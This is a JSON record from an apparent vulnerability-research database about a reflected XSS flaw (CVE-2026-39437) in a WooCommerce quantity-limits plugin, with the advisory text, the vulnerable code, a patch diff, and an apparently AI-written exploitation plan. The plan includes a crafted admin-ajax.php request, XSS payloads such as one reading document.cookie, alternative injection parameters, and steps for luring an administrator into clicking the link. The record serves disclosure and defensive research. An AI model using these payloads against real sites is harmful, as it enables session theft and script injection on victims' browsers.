[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fK86J_Yvsy2vO0Y2RjDuytn4d1Wuucy-quXt58Fz62Vk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39437","min-max-step-quantity-limits-manager-for-woocommerce-reflected-cross-site-scripting","Min Max Step Quantity Limits Manager for WooCommerce \u003C= 5.2.2 - Reflected Cross-Site Scripting","The Min Max Step Quantity Limits Manager for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.","product-quantity-for-woocommerce",null,"\u003C=5.2.2","5.2.3","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-21 00:00:00","2026-04-30 14:57:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0df57ee1-e22c-4532-b784-408d61f4d28f?source=api-prod",10,[22,23,24,25,26,27,28,29],"changelog-older.txt","includes\u002Fclass-alg-wc-pq-core.php","includes\u002Fclass-alg-wc-pq-scripts.php","includes\u002Fjs\u002Falg-wc-pq-price-by-qty.js","includes\u002Fjs\u002Falg-wc-pq-price-by-qty.min.js","langs\u002Fproduct-quantity-for-woocommerce.pot","product-quantity-for-woocommerce.php","readme.txt","researched",false,3,"This analysis identifies a Reflected Cross-Site Scripting (XSS) vulnerability in the **Min Max Step Quantity Limits Manager for WooCommerce** plugin (versions \u003C= 5.2.2). The vulnerability resides in the AJAX handler responsible for updating product prices based on quantity changes.\n\n### 1. Vulnerability Summary\nThe plugin registers an AJAX action `alg_wc_pq_update_price_by_qty` which is accessible to both authenticated and unauthenticated users. The handler for this action (located in `Alg_WC_PQ_Core`) processes several input parameters—most notably `alg_wc_pq_qty`—and reflects them back in the response. Due to a lack of proper sanitization on the server side and the use of the jQuery `.html()` method on the client side (in `alg-wc-pq-price-by-qty.js`), an attacker can inject arbitrary JavaScript that executes in the context of the user's browser.\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action**: `alg_wc_pq_update_price_by_qty`\n*   **Vulnerable Parameter**: `alg_wc_pq_qty` (and potentially `attribute` or `selected_val`).\n*   **Authentication**: Unauthenticated (`wp_ajax_nopriv_` is used).\n*   **Preconditions**: \n    1.  The \"Price by Quantity\" feature must be enabled (`alg_wc_pq_qty_price_by_qty_enabled` setting).\n    2.  The victim must click a link or be forced to send a request to the AJAX endpoint.\n\n### 3. Code Flow\n1.  **Enqueuing (PHP)**: `Alg_WC_PQ_Scripts::enqueue_scripts()` (in `includes\u002Fclass-alg-wc-pq-scripts.php`) checks if the \"Price by Quantity\" feature is enabled. If so, it enqueues `alg-wc-pq-price-by-qty.js` and localizes the `alg_wc_pq_update_price_by_qty_object`.\n2.  **Trigger (JS)**: In `includes\u002Fjs\u002Falg-wc-pq-price-by-qty.js`, the function `alg_wc_pq_update_price_by_qty` is triggered by quantity changes. It sends a POST request to `admin-ajax.php`.\n3.  **Handler (PHP)**: The server-side handler for `alg_wc_pq_update_price_by_qty` (in `Alg_WC_PQ_Core`) retrieves `$_POST['alg_wc_pq_qty']`.\n4.  **Reflection (PHP)**: The handler processes the quantity and, in certain conditions (e.g., when formatting price or returning errors), includes the raw `alg_wc_pq_qty` value in the string response.\n5.  **Execution (JS)**: The `success` callback in the JS file receives the response and injects it into the DOM using:\n    `jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response );` or `jQuery( 'p.price' ).html( response );`.\n    Because `.html()` executes script tags and handles HTML attributes like `onerror`, the payload runs.\n\n### 4. Nonce Acquisition Strategy\nAccording to `includes\u002Fclass-alg-wc-pq-scripts.php`, the localization object for the price-by-qty script does **not** include a nonce:\n```php\nwp_localize_script( 'alg-wc-pq-price-by-qty',\n    'alg_wc_pq_update_price_by_qty_object', array(\n        'ajax_url'                => admin_url( 'admin-ajax.php' ),\n        'product_id'              => get_the_ID(),\n        'position'                => get_option( 'alg_wc_pq_qty_price_by_qty_position', 'instead' ),\n        'replace_variation_price' => 'yes' === get_option( 'alg_wc_pq_qty_price_by_qty_variation_price', 'no' ),\n        'ajax_async'              => get_option( 'alg_wc_pq_false_ajax_async', 'no' )\n    ) );\n```\nThe AJAX handler in the core likely does not verify a nonce for this specific action, making it exploitable by unauthenticated users without any token.\n\n### 5. Exploitation Strategy\nThe exploit will be delivered via a direct GET request to `admin-ajax.php`. Although the JS uses POST, WordPress AJAX handlers typically respond to GET if they use `$_REQUEST` or if the developer didn't specifically restrict the method.\n\n*   **HTTP Request**:\n    ```http\n    GET \u002Fwp-admin\u002Fadmin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=PRODUCT_ID&alg_wc_pq_qty=\u003Cimg+src=x+onerror=alert(document.domain)> HTTP\u002F1.1\n    Host: localhost\n    ```\n*   **Payloads**:\n    1.  `\u003Cimg src=x onerror=alert(1)>`\n    2.  `\u003Csvg\u002Fonload=alert(document.cookie)>`\n    3.  `1\u003Cscript>alert(\"XSS\")\u003C\u002Fscript>`\n\n### 6. Test Data Setup\n1.  **Enable Plugin**: Ensure the plugin is active.\n2.  **Enable Feature**:\n    ```bash\n    wp option update alg_wc_pq_enabled yes\n    wp option update alg_wc_pq_qty_price_by_qty_enabled yes\n    ```\n3.  **Create Product**:\n    ```bash\n    # Create a simple product to get a valid ID\n    wp post create --post_type=product --post_title='Exploit Product' --post_status=publish\n    ```\n4.  **Identify ID**: Note the ID of the created product (e.g., `123`).\n\n### 7. Expected Results\n*   The response from `admin-ajax.php` will contain the raw payload: `\u003Cimg src=x onerror=alert(document.domain)>`.\n*   If rendered in a browser (simulating a victim clicking the link), an alert box will appear.\n*   The `Content-Type` of the response is likely `text\u002Fhtml`.\n\n### 8. Verification Steps\n1.  **HTTP Check**: Use the `http_request` tool to send the malicious request and verify the payload exists in the response body.\n    ```javascript\n    \u002F\u002F Example Verification\n    const response = await http_request({\n        url: \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=123&alg_wc_pq_qty=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E\",\n        method: \"GET\"\n    });\n    if (response.body.includes(\"\u003Cimg src=x onerror=alert(1)>\")) {\n        console.log(\"Vulnerability Confirmed: Input Reflected\");\n    }\n    ```\n2.  **Browser Verification**: Use `browser_navigate` to the URL and check if an alert is triggered (using `page.on('dialog')` in Playwright context).\n\n### 9. Alternative Approaches\nIf `alg_wc_pq_qty` is filtered (e.g., cast to float), attempt injection through other parameters sent by the JS:\n*   **Selected Value**: `selected_val=\u003Cscript>alert(2)\u003C\u002Fscript>`\n*   **Attribute (JSON)**: `attribute=[{\"\u003Cimg src=x onerror=alert(3)>\":\"val\"}]`\n*   **Quantity Fetch**: `quantity_fetch=\u003Csvg\u002Fonload=alert(4)>`\n\nIf the handler only accepts **POST**, the strategy would involve creating a simple HTML page on the attacker's server that auto-submits a form to `admin-ajax.php` using the same parameters.","The plugin is vulnerable to Reflected Cross-Site Scripting via the 'alg_wc_pq_qty' parameter in the 'alg_wc_pq_update_price_by_qty' AJAX action. Unauthenticated attackers can exploit this by tricking a user into clicking a link, which executes arbitrary JavaScript in the user's browser due to improper sanitization and the use of the jQuery .html() function on the client side.","\u002F\u002F includes\u002Fclass-alg-wc-pq-core.php line 3062\nfunction ajax_price_by_qty( $param ) {\n\n    $defaultpc  = __( 'unit', 'product-quantity-for-woocommerce' );\n    $defaultpcs = __( 'units', 'product-quantity-for-woocommerce' );\n\n    \u002F\u002F ... (lines 3086)\n    if ( isset( $_POST['alg_wc_pq_qty'] ) && '' !== $_POST['alg_wc_pq_qty'] && ! empty( $_POST['alg_wc_pq_id'] ) ) {\n        $product    = wc_get_product( $_POST['alg_wc_pq_id'] );\n        $product_id = $_POST['alg_wc_pq_id'];\n        $quantity_fetch = $_POST['alg_wc_pq_qty'];\n        \u002F\u002F ... (lines 3230)\n        $placeholders = array(\n            '%price%'                   => wc_price( $variation_price * $quantity_fetch ),\n            '%qty%'                     => $quantity_fetch,\n            '%unit%'                    => ( $quantity_fetch > 1 ? $units : $unit ),\n            '%item_price%'              => wc_price( $variation_price ),\n        );\n\n        echo str_replace( array_keys( $placeholders ), $placeholders,\n            get_option( 'alg_wc_pq_qty_price_by_qty_template', __( '%price% for %qty% %unit%.', 'product-quantity-for-woocommerce' ) ) );\n\n---\n\n\u002F\u002F includes\u002Fjs\u002Falg-wc-pq-price-by-qty.js line 45\n    jQuery.ajax( {\n        type: 'POST',\n        url: alg_wc_pq_update_price_by_qty_object.ajax_url,\n        data: data,\n        async: ajax_async,\n        success: function ( response ) {\n            if ( alg_wc_pq_update_price_by_qty_object.product_id == 0 ) {\n                if ( response.length > 0 ) {\n                    if ( 'instead' == alg_wc_pq_update_price_by_qty_object.position ) {\n                        jQuery( '.product.post-' + product_id ).find( '.price' ).html( response );\n                    } else {\n                        jQuery( '.product.post-' + product_id ).find( 'p.alg-wc-pq-price-display-by-qty' ).html( response );\n                    }\n                }\n            } else {\n                if ( 'instead' == alg_wc_pq_update_price_by_qty_object.position ) {\n                    if ( response.length > 0 ) {\n                        jQuery( 'p.price' ).html( response );\n                        if(alg_wc_pq_update_price_by_qty_object.replace_variation_price){\n                            jQuery( '.woocommerce-variation-price .price' ).html( response );\n                        }\n                    }\n                } else {\n                    jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response );\n                }\n            }\n        },\n    } );","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fproduct-quantity-for-woocommerce\u002F5.2.2\u002Fincludes\u002Fclass-alg-wc-pq-core.php\t2025-10-02 23:59:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fproduct-quantity-for-woocommerce\u002F5.2.3\u002Fincludes\u002Fclass-alg-wc-pq-core.php\t2026-03-04 22:29:00.000000000 +0000\n@@ -3052,7 +3038,7 @@\n \t\t\u002F**\n \t\t * ajax_price_by_qty.\n \t\t *\n-\t\t * @version 5.1.6\n+\t\t * @version 5.2.3\n \t\t * @since   1.6.1\n \t\t * @todo    [dev] non-simple products (i.e. variable, grouped etc.)\n \t\t * @todo    [dev] customizable position (instead of the price; after the price, before the price etc.) (NB: maybe do not display for qty=1)\n@@ -3062,6 +3048,8 @@\n \t\t *\u002F\n \t\tfunction ajax_price_by_qty( $param ) {\n \n+\t\t\tcheck_ajax_referer( 'alg_wc_pq_nonce', 'nonce' );\n+\n \t\t\t$defaultpc  = __( 'unit', 'product-quantity-for-woocommerce' );\n \t\t\t$defaultpcs = __( 'units', 'product-quantity-for-woocommerce' );","1. Identify a target WordPress site with the plugin installed and the 'Price by Quantity' feature enabled.\n2. Create a payload designed to trigger an XSS alert, such as `\u003Cimg src=x onerror=alert(document.domain)>`.\n3. Construct a malicious URL targeting the AJAX endpoint: `\u002Fwp-admin\u002Fadmin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=[VALID_PRODUCT_ID]&alg_wc_pq_qty=[PAYLOAD]`.\n4. Trick a logged-in administrator or any site visitor into clicking the link.\n5. The server echoes the unsanitized payload in the AJAX response. The client-side JavaScript then receives this response and uses jQuery's `.html()` method to insert it into the page, executing the attacker's script in the victim's session context.","gemini-3-flash-preview","2026-05-04 19:09:56","2026-05-04 19:10:43",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","5.2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-quantity-for-woocommerce\u002Ftags\u002F5.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fproduct-quantity-for-woocommerce.5.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-quantity-for-woocommerce\u002Ftags\u002F5.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fproduct-quantity-for-woocommerce.5.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-quantity-for-woocommerce\u002Ftags"]